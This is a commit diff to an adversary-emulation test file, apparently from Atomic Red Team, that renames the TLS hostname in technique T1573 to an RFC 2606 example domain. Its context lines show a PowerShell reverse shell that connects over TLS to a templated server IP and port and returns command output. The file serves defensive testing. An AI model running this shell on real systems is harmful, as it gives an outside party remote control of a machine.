Update T1573.yaml (#1866)

RFC 2606 compliance, to avoid future potential complications.

atomics/T1573/T1573.yaml

@@ -28,7 +28,7 @@ atomic_tests:
       $socket = New-Object Net.Sockets.TcpClient('#{server_ip}', '#{server_port}')
       $stream = $socket.GetStream()
       $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
-      $sslStream.AuthenticateAsClient('fake.domain', $null, "Tls12", $false)
+      $sslStream.AuthenticateAsClient('fakedomain.example', $null, "Tls12", $false)
       $writer = new-object System.IO.StreamWriter($sslStream)
       $writer.Write('PS ' + (pwd).Path + '> ')
       $writer.flush()
@@ -39,4 +39,4 @@ atomic_tests:
       $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
       $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
       $sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}
-    name: powershell
+    name: powershell